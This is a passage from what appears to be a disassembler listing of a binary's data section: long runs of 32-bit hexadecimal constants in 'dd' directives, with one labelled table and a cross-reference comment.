		dd 10A992FEh, 0E8DB1580h, 387BC880h, 1600FB87h,	0BA0C9EB8h
		dd 19B65F1h, 1C0B2358h,	22BD08E4h, 0A42C3B80h, 0C1091425h
		dd 0CFA09927h, 0C7532C10h, 8ABD1F3Eh, 5831AAD8h, 0E94196C4h
		dd 545C818Ah, 0A6C804BCh, 266301E5h, 0EC60C5B8h, 454586E9h
		dd 30EAD461h, 0CB1171C0h, 3D88BE8Ah, 71C883BCh,	0E70D8D92h
		dd 6B1356E0h, 498C4E97h, 7004C8ACh, 0B67D41F2h,	10665177h
		dd 0E05B022h, 327ED6EAh, 88A3D428h, 4A40D096h, 45042199h
		dd 0BC099311h, 74208586h, 19429263h, 0C0088A25h, 75EF06C0h
		dd 372975ACh, 1E6810D0h, 0A46A1211h, 888F6828h,	0B9168C06h
		dd 0A456967Fh, 81876C30h, 0AD273EC2h, 7C551472h, 0E911CCCDh
		dd 0B5670091h, 2FAE74D9h, 0ACF9D461h, 11C24939h, 0A59DB8F2h
		dd 89A4BCA0h, 430FA926h, 14F2B76h, 54294714h, 0FE969ACCh
		dd 8CC4BCE4h, 6C68F473h, 0BC14C505h, 0DFC57B39h, 4F652828h
		dd 67589843h, 310E4C00h, 0E0218438h, 5598A23Bh,	0AC9C5C02h
		dd 46765474h, 0D2880509h, 0D0409782h, 13129F4Eh, 34BE6A2h
		dd 0EA1EF9DDh, 0AD873F7h, 944E69DCh, 1923EC82h,	8C220DC3h
		dd 0DEC298E7h, 60D45C89h, 0B19B6B66h, 0E90EBE01h, 7C47B017h
		dd 0BA273C6Ch, 0E1284CC4h
		dd 5174D4AAh, 0C9AF1B80h, 0ACA02C59h, 0E623F052h, 71D9C002h
		dd 61D7FAB5h, 0DCF8DBBCh, 0C3144A3Ch, 997429FCh, 0E28C4C16h
		dd 0BDF97405h, 7CAF9C40h, 0A07108D1h, 2720A330h, 4C803A6Ah
		dd 0F9EEBCE2h, 0F491984Eh, 0B8009724h, 0F160EBE7h, 9FA7DCD9h
		dd 694D0076h, 0C467CA8Ah, 6008DEAh, 0CCD72F2Dh,	4D0DF947h
		dd 8912B4DBh, 2924C3FCh, 2B9937F8h, 0A4935B0Fh,	10E69302h
		dd 720AB9E0h, 4E3C0C4Dh, 8475D480h, 9292h, 0C3D2F2CEh
		dd 58C43C2h, 2C22CA00h,	4D624266h, 0FE57012Ah, 8696FD83h
		dd 1ED993F3h, 0BDC8B4h,	58F5EF7Ah, 991571DDh, 9CB2E412h
		dd 0AE228E2h, 817A30h, 71CBB5BCh, 50293330h, 0EC6EAF5Bh
		dd 4F0FE01h, 1959882h, 2F3B54ADh, 3C233Ch, 206757D3h, 0E90017CAh
		dd 0B38CCD9Ch, 2E6D2DCCh, 5EC00A36h, 0A11FD746h, 953EC0D8h
		dd 609FA08Ah, 0D6BD2F09h, 0B394A035h, 126EA52h,	7BCFE43h
		dd 4861FAD7h, 54034CECh, 0F289C690h, 479AC84Eh,	487313D1h
		dd 0F11000Dh, 8296275Fh, 0C06C2097h, 39EC8F9h, 11ADDE7h
		dd 9103C11Eh, 0F580434h, 0B745B897h, 781300C3h,	6A1DA39h
		dd 707D4384h, 20833327h, 6575CEF8h, 8A900096h, 0CD135474h
		dd 102E3D79h, 0C802FE51h, 71C509D6h, 1801D91Ch,	737F0047h
		dd 0C41E9694h, 2218D70Bh, 6A814185h, 977371h, 6D4BD075h
		dd 0B5EDAF43h, 12C070C9h, 0C3EC8F9Ch, 3A83E4h, 0E177539h
		dd 41A5AB36h, 35DAC200h, 8DD3FC97h, 0B4F9554Ah,	0B3BC8C6Ch
		dd 7FBA028Ch, 0F30863DDh, 7366B4B0h, 771F83FEh,	1D8C46F4h
		dd 4EE39A5h, 0DC6C54B3h, 0BA289057h, 0E1543DB6h, 0D490B19Ch
		dd 0D7FCB200h, 37529608h, 0E30E269Eh, 0C8BC0760h, 0D072A1A5h
		dd 0D4902F9Bh, 0B6499114h, 2F2904E0h, 4FD888EBh, 53708F00h
		dd 28B7F938h, 9E150035h, 52ACABFCh, 249F6308h, 14F80DF8h
		dd 0B8EF0500h, 0A6192A28h, 0B244DC25h, 5800F848h, 1617F801h
		dd 3E280CE6h, 0B9288D11h, 0CAF814E2h, 9044F120h, 0CCF858A4h
		dd 0E409A449h, 40C85C01h, 7400F3ECh, 4CCA05Ah, 58A87EB5h
		dd 6500BE87h, 0AC8CA5B1h, 0D5067462h, 16D13E34h, 1C8B4CF1h
		dd 0CBF49924h, 3059E051h, 79002418h, 0DD1BB8FDh, 582DE5E0h
		dd 0E110D46Eh, 61A9CB31h, 606802C4h, 168CC0B8h,	1C58236Dh
		dd 0B073DBE8h, 429E9690h, 0C425E4B4h, 30C6004Ch, 3E085603h
		dd 0F93F1AE1h, 0F0B6825Eh, 483B86C8h, 726DF430h, 0A544984Bh
		dd 67BAE45Ch, 6B8CB500h, 0BE5624C0h, 28972598h,	0D580D891h
		dd 9F117B2Ah, 629CA303h, 9F57AE83h, 2DFA2A1h, 3A046460h
		dd 34039EB0h, 0CF48B915h, 0A2B87053h, 0E17B31B4h, 0BDBED431h
		dd 2C23C94Bh, 2938E729h, 2A00BFFCh, 0DA8269F3h,	353D9B31h
		dd 4694842Bh, 7CE89CF2h, 0E88C0AB8h, 0C71B0087h, 617BB05Dh
		dd 620451DDh, 0CC9D172Dh, 9F00D4B8h, 22E26D9Ah,	0D64EFEC9h
		dd 1463A0A1h, 7E212309h, 32D05841h, 6C3003D4h, 48947F97h
		dd 43C0D411h, 0C3AE8038h, 693DBB00h, 0CB34194Eh, 3C2700ABh
		dd 83F9D21Dh, 0B04AEC21h, 88F0C088h, 46097CBDh,	7AB9418Eh
		dd 2C192D40h, 1516984Eh, 0A4001077h, 2A02E90Ch,	0CC0495E8h
		dd 0A4ECC4E1h, 76099B58h, 0D4C62DD5h, 0D0593F44h, 0FAE17C8Fh
		dd 0CD977BCh, 74828891h, 65DE7602h, 852EA024h, 0B04E06C0h
		dd 8F073F0Bh, 9FD05AC0h, 7FCA093h, 377569DBh, 763493C6h
		dd 0CF18EAA8h, 98B00825h, 50A67B54h, 622C00Ch, 898C5C9Ah
		dd 0B7CC1C4h, 484D8704h, 68D0D621h, 0A1B125EEh,	3E109E94h
		dd 0CC9EAD47h, 20525C09h, 2FAE782Ch, 0E802B735h, 0F0528396h
		dd 0E7B6BD02h, 76D0298Ch, 702C0080h, 4D6DF3EFh,	2D788216h
		dd 0EEBD18C0h, 417B4AFCh, 0D6BCAC28h, 46C6CB5h,	7DF923C1h
		dd 2A851CE0h, 41E0ABEAh, 54D807A9h, 0D58E423Ch,	94B802B1h
		dd 3820C850h, 32220C45h, 1EA1E2DBh, 3C004099h, 882A90BDh
		dd 0D5B4009Bh, 0C348CA43h, 0A5046156h, 350FCE1Bh, 41E04088h
		dd 53A430ABh, 0AAEA8419h, 198F3D90h, 0D2E6DBC3h, 78B9B0D8h
		dd 3F896600h, 1D57A652h, 76EA1h, 0C5582CFh, 380C1BC2h
		dd 0A18CC5BDh, 0FFE5266Ah, 71C2C0D4h, 8E5F8AD9h, 0C3F402Ch
		dd 178C71CAh, 0B52BCCEh, 784DD0h, 0E486AE61h, 2724232Ch
		dd 9460CDF9h, 8D0B2187h, 0E5E57CBCh, 60B3E408h,	75BABFh
		dd 9604FFFBh, 0FC324AD8h, 736A3101h, 91C187Fh, 0B4C82C4Ah
		dd 0F2319EC0h, 5A2E3E7Ch, 1C113984h, 8D68C8F1h,	4098892Dh
		dd 39F947B4h, 0DFBDE2h,	965C7218h, 94B484E3h, 8E465Eh
		dd 38142807h, 20B73C0Ch, 200FC0C9h, 0FFA4249Ch,	480CF824h
		dd 24B018E6h, 428C3D57h, 50823767h, 68F48E1Ch, 0FF29BE91h
		dd 183DF9F0h, 0C704074Bh, 11A4DF2Dh, 481DEE72h,	10208188h
		dd 2A831347h, 4B40D00Bh, 50D2E30h, 0E9582FF4h, 23D82F2Bh
		dd 47F1038Dh, 3DC0DD16h, 7A4CC49Eh, 83F0928h, 0F9AC0960h
		dd 180CF198h, 0EB3C0240h, 0D3988111h, 0E251E440h, 0C2BC9182h
		dd 0A31E5189h, 7A3F1420h, 8B1D0627h, 0E8F131E7h, 83D0F402h
		dd 5A449818h, 0DCC089D1h, 24002A04h, 35D095A3h,	13CA0BC3h
		dd 0B094B67Ch, 2B6087F8h, 0DE192238h, 2DD8A12Eh, 0E690046Fh
		dd 988A3Bh, 59FCC40Eh, 39E046F3h, 5048BDC2h, 3C1421C2h
		dd 8EBC0B00h, 6400B5B5h, 40087872h, 0D5B6E383h,	341E04E0h
		dd 0BCD844FDh, 20A38050h, 393E8F0h, 0CF45C051h,	0B116B823h
		dd 4B30BBAh, 0EF30B4E2h, 0CB5F28Dh, 0CAC92395h,	30F571E1h
		dd 0E3C19B8h, 0BE7A1245h, 0FC64B006h, 24093D20h, 8F1B5D16h
		dd 0C12F88C0h, 61BDFFDCh, 20207182h, 0D0F23A80h, 67E35325h
		dd 603164C0h, 0A387334h, 89B6BB40h, 1F1E85B8h, 465CE43Eh
		dd 24C004EDh, 209E96A5h, 6302ACD6h, 218A4B73h, 315C7CD8h
		dd 0EE7CF8h, 12544D8Dh,	455FE9F3h, 0A424F45Ch, 8EEEC448h
		dd 2093F9F7h, 0D0A13E28h, 0C7BD10E8h, 0E0A9C93Bh, 0E4BC3C68h
		dd 16BB4600h, 5B981589h, 621D00EAh, 80D3EEEh, 0CF1F7F24h
		dd 0C0AF2186h, 324D298Ch, 0EB8177EAh, 200D7841h, 808A75ECh
		dd 0F93E47F8h, 0D8B04B74h, 5D587504h, 32530065h, 22275CFEh
		dd 0BC90BF9Fh, 6BE3BDC3h, 0BCD50C20h, 40ACBEBAh, 70E54E48h
		dd 24D01C5Bh, 740C62Ah,	46ECC8BEh, 0EA7632DAh, 8800ACE4h
		dd 8D275773h, 0BA85CAh,	5F5D252Dh, 58C2EF1Eh, 7508E4B6h
		dd 687949E5h, 47183B59h, 1640C05h, 0C8802F8Ah, 0B8F4534Eh
		dd 1DF31128h, 0A2000BCh, 9B45E7DDh, 0C85500C3h,	0EF546CDBh
		dd 34247B93h, 591E186Ah, 0F5FC01E0h, 4A1C7D2Dh,	5083047h
		dd 756EEF00h, 0A1F8C90Eh, 0A2191023h, 218B09A7h, 61E86007h
		dd 71860903h, 0E470A37Ch, 0D8797C99h, 80007318h, 4868798Ch
		dd 60A5E4Bh, 65AE4695h,	3E1CA0ADh, 68EFB577h, 7C3A5E94h
		dd 58B3481Ch, 6CB6610h,	0E83C7187h, 0EA543B88h,	9A00B838h
		dd 59A592C8h, 0E300FBCBh, 60721BC0h, 0CE5D69A8h, 278C8650h
		dd 7D02D068h, 63A7BF32h, 0F8A37DEEh, 83F9230Dh,	0C9A82884h
		dd 2058D0B5h, 0BA3F3D59h, 0BFD20AEh, 0BCAA3072h, 71F318C0h
		dd 44331BF0h, 0C17B115Bh, 303A0E0Dh, 9DBEBAE4h,	5FFC21B5h
		dd 598454F9h, 0CAC1A6h,	7046CA8h, 0C90C07E3h, 15D034F3h
		dd 63CC421Eh, 28803DF2h, 77B7C1EEh, 113C3927h, 0BC50BC58h
		dd 7522C352h, 8E4612A4h, 0A004C4B1h, 76053FCCh,	3FDF932h
		dd 202FE0E4h
		dd 0C90301EAh, 0F9319DE9h, 82795EB5h, 98A91A24h, 0A3A16482h
		dd 0A977B801h, 33C49838h, 4F581445h, 2C2528C2h,	2B882321h
		dd 0E7A502FCh, 0B9867F3Fh, 0CCAD29C1h, 0D902EA06h, 490129C9h
		dd 0D09D55B4h, 0B1803191h, 0F03688F2h, 9B778201h, 93318D5h
		dd 0B9B86078h, 0F88E008Ch, 1E336DE6h, 0C8B0348Fh, 0BF1EC484h
		dd 61157916h, 74D526F8h, 0A3CFE180h, 1873624Ah,	314884C7h
		dd 0E000FFE2h, 0CF670F5Fh, 4574CEEh, 0EA4F272Dh, 1234D12Eh
		dd 167FEC4Bh, 2AD9C503h, 0A0B5ED5Dh, 74BDCDh, 3F2494DCh
		dd 0C4F4BF69h, 0ECD6FF02h, 560CA7C6h, 0D8465E5Ch, 0EF177600h
		dd 2FE795FAh, 84736608h, 0C21C803Ah, 0E27709DFh, 9C81571Ch
		dd 0C40F5980h, 9019CDC5h, 0DAED17E4h, 0A26CF321h, 7503300Ch
		dd 0AB4B4300h, 8EBB5308h, 0B4D64891h, 0AC5DD49Fh, 4517743Eh
		dd 0D7A0E5BAh, 45DC75C1h, 0C1A4AC3Ch, 23653FB0h, 82C5DF03h
		dd 0F0FE2DF8h, 0A712EF01h, 820E9B9h, 9EFF032Bh,	52F95EE3h
		dd 0B8C8204Eh, 160E003Ch, 614317Eh, 24011B12h, 9CD94A7Dh
		dd 0F5085D45h, 670062FCh, 7235542Ah, 4B2C4BC9h,	0AD7085C6h
		dd 30885AFCh, 0A2CF2498h, 45611DEBh, 84E2E566h,	0D43094F0h
		dd 92E4A4F0h, 0E287590Fh, 8EFF5DD6h, 0E0536206h, 597587Ch
		dd 4F170FBBh, 9B012D78h, 3D5148F3h, 6F820084h, 298CCE26h
		dd 12C96B4h, 2E7C5C2Ch,	0A17FC496h, 217C7094h, 3780ACFEh
		dd 3BDE1720h, 57CF1EBDh, 1690011Fh, 306EA9E9h, 8B39632Ch
		dd 94BCBF7Eh, 84E422F1h, 0C600AD8Dh, 0B271D123h, 3DB5h
		dd 0FAF38123h, 0AE05CEA1h, 1C7B9235h, 0B6ACA4h,	16150574h
		dd 2DBCCD73h, 77541909h, 452002C2h, 92AC72CCh, 42072050h
		dd 0D83D8424h, 0E0D56E43h, 681DECh, 345E4D0h, 0A9B6BA8Dh
		dd 0C025C8BAh, 57F4CA54h, 43045037h, 0DA20EA72h, 440EBD8Bh
		dd 0AA823E8Fh, 6C1850B7h, 644B2C69h, 0A14718B6h, 83E6E9Ch
		dd 6C01C023h, 0F9F2D148h, 0AA73C443h, 65CC62Bh,	9CE7BFF1h
		dd 0B618110Ah, 0B3F8C745h, 5AFBF00Eh, 76F0B1BDh, 0D14AB09Ch
		dd 45A7977h, 0F1DCB785h, 903EAF02h, 82382F23h, 0F53FBD8Eh
		dd 64BC4804h, 76C09437h, 610F3046h, 0C843312Bh,	949A218Ah
		dd 0A15D40EAh, 36829600h, 0FBC3DC50h, 706206CBh, 805E6078h
		dd 354B7B5h, 6E3B7DCCh,	96E1F0A3h, 0D5BC420Fh, 467A1E21h
		dd 0D8EC4C78h, 7E80008Ch, 67A35A29h, 0CC7733D1h, 919A2112h
		dd 9B124D2h, 0BE82D8FEh, 0E827292Fh, 4F30D6D0h,	9144EE4h
		dd 0D0960390h, 13BD8A34h, 0D40EEC9h, 3D39ADBCh,	23D01308h
		dd 22E478C8h, 0C894AB9Eh, 0CB57887h, 0A76579D0h, 1C62171Ah
		dd 3A44A212h, 0AE54505Ah, 8F2FB481h, 0AC509D60h, 9F413BC0h
		dd 0BC01CC1Bh, 898BEC3Eh, 98849CA0h, 8F030683h,	0C08D88ECh
		dd 0C3959A85h, 6CEC2C00h, 0DACF59BEh, 5889E6EEh, 0FEE89828h
		dd 0E501AC43h, 0FA9D3BBDh, 0DED8D331h, 109AEDB7h, 68C9044Eh
		dd 2804902Ah, 0F91323F4h, 8B495B1h, 0C8019D47h,	266CFC7Bh
		dd 3438E0DCh, 5630266h,	7EFDCE27h, 0DCB856h, 4A30989h
		dd 0BD9322DFh, 86EACD13h, 4C8CCB0h, 0BFF82F2Ch,	0F848BA31h
		dd 9C60ADAAh, 3BFAE8Bh,	335D90h, 9FE20859h, 54BB35BEh
		dd 0B41B8300h, 46978FE8h, 110E12FBh, 0A4704A26h, 5C4DA5ACh
		dd 0CCFEB4C0h, 31E5002Fh, 0A19224E8h, 0D490BDB8h, 482BDF40h
		dd 0FACA5CADh, 20EB97C0h, 1573080h, 0CC440F5Eh,	0BE02B489h
		dd 9C48593Fh, 0BD09E346h, 0DA54912Fh, 0AD6521B4h, 42B7A828h
		dd 0E494E530h, 612D603Ch, 0EFD4005Fh, 28238799h, 5718AE70h
		dd 0CF700C9Dh, 6E1F0073h, 23FD2F2Bh, 4C9C2442h,	1D0CC2Fh
		dd 0DB1F61E9h, 202408CDh, 8C99EB06h, 0B7039E00h, 0A8BB1D89h
		dd 0BFD488h, 522515Eh, 0C7D9C3F4h, 5840EA00h, 0FD08D792h
		dd 428A5E96h, 0BADE29BCh, 8C56B04Ah, 102ADA40h,	0CB471E64h
		dd 3A1200BCh, 4A5CFDAEh, 0E3AD8500h, 8CCFBF46h,	0D0845FE2h
		dd 5F1EA178h, 2DEB2406h, 686EFBE4h, 6A869BAh, 8C77374h
		dd 0F2CD7D0Eh, 0C82392D1h, 7BF83D98h, 51432E9Bh, 0D04A8C91h
		dd 964F19F3h, 3081AC02h, 0A8BADD99h, 2F444067h,	7BC2DF61h
		dd 0F30AA804h, 7BE27D00h, 4C09DDE3h, 109EBFADh,	0DCC21E08h
		dd 3862C0C9h, 83910E1Dh, 0DD7B6100h, 8C1AE6B0h,	17C90395h
		dd 0AAB708D1h, 60293101h, 0D7502184h, 9328222Ah, 676DF421h
		dd 64782AD0h, 0F9842076h, 44020074h, 229D098Ah,	93111C45h
		dd 2DD88FF7h, 20D27500h, 0B8C92FE6h, 588467Ah, 0FE1F5AEFh
		dd 9E80F445h, 9D81D874h, 9D78CB3Ah, 84C0AC50h, 6CD79E5h
		dd 0A11804E6h, 0E351BE08h, 0F260D293h, 21DE8068h, 3B99DECh
		dd 0AD2EE09Ah, 48D183F8h, 0BC844C8Dh, 0ECA1BD88h, 0DD412FD6h
		dd 3AC918C8h, 5891EE81h, 484F00AAh, 5D9ED60h, 6916169Bh
		dd 80F4E8EEh, 61E6732Ch, 976412AEh, 29B4B988h, 0CC00E01Bh
		dd 0E8928B8Fh, 0B2400B50h, 1600DAF4h, 6A7AA0C3h, 0D34A65Ch
		dd 3047B81Ch, 23AC2F2Ah, 0F3630ED7h, 904615A0h,	0D012C968h
		dd 88E8D9FFh, 0B11FC080h, 10004F48h, 61579368h,	3BF9EAABh
		dd 7182A8A9h, 21AE46F3h, 55F488A1h, 7514264Ch, 0F810366Bh
		dd 74209E18h, 610EB946h, 3DA92C62h, 991B7E80h, 28044C2Bh
		dd 0C218AA2Eh, 66984DAAh, 0E82D0B9h, 0CBE74E00h, 0B4818CE6h
		dd 4021B579h, 15450725h, 64406C85h, 0D53EB2EFh,	146C9B6Eh
		dd 1510F807h, 509B07C4h, 0C40C89Eh, 0F7D9E3h, 2D61D32Ch
		dd 0C47A520Fh, 902B4Ch,	57E3FE37h, 24D0C3C9h, 4180DDE2h
		dd 2106A95Eh, 686E3F18h, 0BA84BF00h, 5C1686BEh,	0E4B2B54Ah
		dd 7D2E6D0Fh, 0B7386B62h, 0DD003C6Ch, 523DF3A7h, 6FE97BE4h
		dd 47166471h, 3463CF30h, 0E2748292h, 0BC0BC620h, 0C091279Eh
		dd 0BD9D471h, 0EC175818h, 0A4D97089h, 23C02B2Bh, 402E0009h
		dd 2DDCE396h, 2DC8B251h, 80C32C94h, 1008C425h, 7E8FD471h
		dd 0CFCBC41Dh, 0CD2FA744h, 0F8400BFh, 230C79CAh, 21C5BE25h
		dd 0FC2A53F4h, 0D783398Bh, 6508E071h, 6A6600CCh, 0B0CD4119h
		dd 1B645CB6h, 3D0040BEh, 0ECD3E8A7h, 9B697201h,	707D5329h
		dd 0C098146Ch, 16746DF9h, 7CE1702h, 0D4FBB326h,	1C064034h
		dd 2C00585Ah, 2587734Bh, 2C6C19Dh, 0CAE9FEE7h, 24E0CBB3h
		dd 7D803C76h, 3AC8FAB5h, 90608ED6h, 9AA44872h, 0F1AF5A1Fh
dword_4E414C	dd 0B231D700h, 0DB342Ch, 0E67AC83Eh, 0DED6E7Ch,	7484D126h
					; DATA XREF: ___:off_43ACE4o
		dd 0B001B5C0h, 0C0C55F47h, 2ACA7240h, 0A91760B9h, 414484E0h
		dd 41A44146h, 6702E2DAh, 65385EAFh, 6E1C212Bh, 7030883Ch
		dd 67030BB2h, 0C854F450h, 1F0BE5E4h, 0CA298D3Bh, 9760823Ch
		dd 354DC7Fh, 15F93033h,	0B1383285h, 0C0B67225h,	4451B727h
		dd 928F4700h, 596A3129h, 0B93DD0A9h, 6825F9EBh,	0C2D8B27Ch
		dd 21FDB4AEh, 425D967h,	0C287D8A8h, 35A412Eh, 0FCF86D7Ch
		dd 5170A631h, 700090BEh, 0B54320E3h, 0B85AA48Eh, 0C58590D1h
		dd 0DCF448F3h, 0DD8E25A2h, 57D84001h, 4471D2CDh, 5B1893D9h
		dd 0AFAE1D01h, 9CF59A7Ch, 0E026D7F1h, 1C02F317h, 73E02490h
		dd 3202FAD0h, 2F291E00h, 0D4A8B04Eh, 0FEC70070h, 0E13A96BAh
		dd 0E472EC09h, 0A3837E00h, 0A81AC0ACh, 20BB6063h, 3554A289h
		dd 838F2900h, 13BADB1Ch, 0CFC74B1h, 3C59C7C5h, 4005AD1h
		dd 847B90ECh, 0FAEABE0h, 1B1C01Bh, 3AE4FA20h, 741F69D8h
		dd 0F201C2BBh, 6B7C7AE6h, 57BE8840h, 588BBD59h,	810090D1h
		dd 0C423B9C0h, 0B04752F3h, 89100C48h, 0BDC01CE1h, 2AE0C665h
		dd 4D096D0h, 0B58EEA05h, 0C82BFE47h, 1E23A9A0h,	50290118h
		dd 80775D08h, 58802A94h, 0D76D8071h, 0B371C7Ch,	0A2F6E896h
		dd 0C2773108h, 0D2B24C18h, 20305406h, 0A520C37Ah, 0BAE73385h
		dd 81AC821h, 631882BCh,	253018EDh, 0DA93108Dh, 34BD20C6h
		dd 0B5653118h, 88AA9D10h, 18AFD608h, 0A3746938h, 0C4C5EF80h
		dd 6E02E08h, 51206869h,	70F0DF2Fh, 0D18C6C4h, 0C36208C1h
		dd 0E6CE1F1h, 130846C8h, 51710C30h, 88A81508h, 38C4DD38h
		dd 0A30C59B9h, 4B63EDF9h, 31458510h, 89419308h,	3C208DCAh
		dd 66CD08A4h, 62B04F2h,	3118AB60h, 4DF8979Bh, 47188C2Ch
		dd 66CC083Ch, 988187Bh,	3BA06954h, 7DD44F54h, 9DB318C6h
		dd 40A13108h, 883F9C18h, 8262008h, 0FE083D2Eh, 70C60833h
		dd 0D2D19D19h, 77F73443h, 20536710h, 0E808D8ECh, 4DF10C87h
		dd 766FFA18h, 0C4AC808h, 0DB2081FCh, 26089F64h,	0CD291C91h
		dd 0B4C4408Ch, 1C92A208h, 0C6516D44h, 8394A29h,	0DA2024FDh
		dd 408E4140h, 5E8968F9h, 67E1EC51h, 1634C01h, 2088882Fh
		dd 6A2CBC3Ah, 19AC1833h, 18CCC6A1h, 374998C7h, 0C45A2EE1h
		dd 0D3A87F08h, 102A6DC8h, 0B6249036h, 7CAA105Fh, 8DC8831h
		dd 0E402E8BAh, 7754B4A2h, 5344B02h, 9EF0469Ah, 2D205875h
		dd 58EE2079h, 188CB049h, 0FD1024D1h, 360780EAh,	81D93C80h
		dd 3F5424BCh, 62B27A40h, 30DD10F8h, 2041D006h, 1662DB02h
		dd 3AD5D61h, 803C8A65h,	556CC04Bh, 0BC11C4D6h, 1099A596h
		dd 8C85E105h, 0B1660331h, 0F8A9D1E1h, 0AA61C831h, 6A088C4Ch
		dd 40853094h, 0A340543Eh, 0E9E4A890h, 5608CAA2h, 31EC99D0h
		dd 0C7F18C96h, 0A8CA08B3h, 0C6A144C0h, 50749508h, 83B02854h
		dd 89398E66h, 80A74908h, 6398927Eh, 8620193Ah, 0C0D5082Ah
		dd 0B0E84D54h, 0E1527492h, 10B932D4h, 25406993h, 0E9BDDC57h
		dd 0F053B831h, 9508105Ch, 0D885185Eh, 80801038h, 2A2558C3h
		dd 0C46420EBh, 5ACA372Bh, 7B80C061h, 2F98FF2Ch,	0FC5D10C0h
		dd 7305C0E8h, 40BC0510h, 951F53CFh, 0E64500ACh,	0FE4316F0h
		dd 6DFCA900h, 1FB248EAh, 582905D7h, 0E452D304h,	0C3007230h
		dd 47F4BCD2h, 4A2E1F93h, 14BCA7h, 0F5D31C75h, 12BE302h
		dd 0E95355FBh, 70227150h, 6103C0C5h, 26183732h,	0EB83E086h
		dd 510D010Bh, 782AC2EAh, 0F454F21Ch, 1F75E100h,	0CA5E096h
		dd 0CDD0A754h, 0C1604660h, 1F8A23B8h, 2F65E8B6h, 98C82582h
		dd 0FF045D31h, 77A5C8BBh, 0DBFC01EBh, 0CD94B547h, 0B0587A96h
		dd 16BC7218h, 91C2C48Bh, 726C660Ch, 7BE0048h, 738C83D7h
		dd 0F1F0E5h, 87A2A73Ch,	80AE252Ah, 83CB1F05h, 0C418A09Bh
		dd 1FD96948h, 501C6CBCh, 0A1540350h, 0C0CEB326h, 125C34E9h
		dd 807BEA4Dh, 0C497E6D4h, 0B4008DE6h, 0D8AE7426h, 6014EAA5h
		dd 0E9CE20D1h, 0C461135Ch, 0B2D460A0h, 29BE1898h, 46783091h
		dd 2E8A83Ch, 72D0CF52h,	0A2DC8127h, 0E882DB1Fh,	1CA61DB7h
		dd 17769C80h, 0E73F7C97h, 369480D9h, 6EDC7159h,	21EA3FCEh
		dd 0FB9960E0h, 662912F4h, 0BC07FCA9h, 1CED72Fh,	0E02D1C8Fh
		dd 0F10E5096h, 0D196D05Ch, 0D40F7A19h, 43BA170h, 814AC7F4h
		dd 0FCFECB45h, 0F6008665h, 0C9AF1BC2h, 2C502C0h, 9CE57C2Bh
		dd 0C4D47E5Ch, 0D109811Dh, 14400FBAh, 0FB1E0AB4h, 9960FCDBh
		dd 9EF45CFCh, 90760984h, 4225E0C8h, 29BF2435h, 402427FBh
		dd 0AA1DEA4Bh, 2483BF80h, 0B7683DD2h, 0B98482D8h, 0AF5CE481h
		dd 805889E0h, 223C009Eh, 6AFD82EBh, 0C118303Ah,	0A26CB11Eh
		dd 0B803B898h, 0FE814471h, 7CC176D0h, 847F0D9Dh, 0C060A946h
		dd 8319C66Ah, 165041D6h, 0EA01288Bh, 0D475F491h, 74007914h
		dd 1FCDC40Ah, 0E44F93Bh, 0D3B0D97Ch, 0D2DD6D60h, 201EE630h
		dd 94E40BA5h, 11768209h, 80432984h, 0A078EA1Eh,	0D6FFBAD4h
		dd 0D15A4F2Bh, 248CEB90h, 84121228h, 74036760h,	0F64DE1h
		dd 0D02E8B20h, 0BB7A6BE0h, 0C23F2000h, 0A047112Bh, 0EA6E1697h
		dd 6A0C0CFh, 8200CE70h,	7A872EE9h, 161AB92h, 0A974E476h
		dd 0DDF3A11Eh, 0CAE42018h, 9138BCF4h, 10A4D3C4h, 2B15E7ADh
		dd 689084FFh, 0EA66AB04h, 28E879h, 30741921h, 9F54A6h
		dd 9CEEC562h, 1E83C113h, 9C8FB5h, 0FAC3C41Ch, 44773981h
		dd 83EF5102h, 808089F9h, 6A60E180h, 37EAA10Ch, 48C2581Ch
		dd 66132029h, 0E1042071h, 88A8ABADh, 0EB00D0A6h, 7557CFE7h
		dd 5CDF5426h, 62766EAFh, 4204C031h, 0BAAAE7E3h,	2E482C49h
		dd 4000B41Dh, 1EDB6E60h, 9AEE0043h, 0CE6ABDF6h,	5402B34Eh
		dd 0DDC87310h, 0FA82D5BCh, 0C880782Fh, 0E739EB04h, 0FB9AE200h
		dd 1DC54531h, 707A6079h, 190BD960h, 855CF30Ch, 0A4D7A8CBh
		dd 82E63EACh, 10A72A18h, 8A3A647Dh, 0FE3E1FCCh,	1762009h
		dd 0ACED80B8h, 4977B424h, 0DE941899h, 44C16512h, 0C458F918h
		dd 0BA906238h, 2310060h, 2D9540C4h, 5D61FC80h, 48331F03h
		dd 3182992h, 5E1BEAD7h,	9D3F4878h, 8854305Ch, 0C2B74BEBh
		dd 3983A6B8h, 0BCBC9849h, 99961888h, 908CE310h,	0A15C194Ch
		dd 0F172385Ah, 0CCEC301Fh, 12003D4Dh, 0ECA09783h, 884F4C46h
		dd 0B8013A3Eh, 0EEEB4270h, 8080BE60h, 1FFFD1E9h, 72751C5h
		dd 0D4E10F20h, 78A04955h, 2674CE5Eh, 0B15CDD04h, 8C88AD8Dh
		dd 0B4019546h, 303688CCh, 0AE4C6114h, 9D7104B8h, 58CCE3D6h
		dd 0A07893BEh, 9C7030F0h, 652908D1h, 8172F001h,	0E417E084h
		dd 0CA3430h, 82EE0259h,	23256662h, 0C90118ECh, 5CFAABEAh
		dd 90925DF9h, 0C4FC0585h, 6B648CC5h, 0B9C8DE86h, 0CDCEDD00h
		dd 0AF1E20A1h, 31A09860h, 98BC1F10h, 1C770820h,	170141BBh
		dd 0FEC673D2h, 3E501330h, 668376D9h, 0B475679Fh, 1117000h
		dd 0BE3FB5DFh, 4CCB00A1h, 73439226h, 8E00DA2Ch,	52BFF34h
		dd 0AA59DAFh, 486EEAA2h, 0CB016BCh, 0C1B88460h,	0D588E450h
		dd 0A01DA740h, 0F8C903B8h, 18064838h, 2C78F510h, 82BE3497h
		dd 9D76D5FFh, 70C06ACCh, 0A12B019Ch, 4C6F2E5h, 0BC05E296h
		dd 42778880h, 0A527D06h, 0E199EAD3h, 579AC94h, 0F7969Ch
		dd 46CD53BEh, 0BEE86B80h, 60EBF93Bh, 0A9159508h, 146C7C54h
		dd 0BC269E5Ch, 0EF214E00h, 845066C6h, 700D2E30h, 0AB29CF7h
		dd 0F9635CFBh, 1DAF03C8h
		dd 0A83ECDB9h, 11551818h, 14BC6F40h, 0DCDEC48Fh, 2245A8C4h
		dd 0B8800A27h, 830A6449h, 7949E34h, 8236BFC2h, 40E89AFCh
		dd 0D60015E1h, 8764917Dh, 7CA6740Fh, 0ECC900CAh, 1DFFD906h
		dd 88C0B7C3h, 0BF1F6A25h, 0C0D65804h, 60BC9441h, 9C335415h
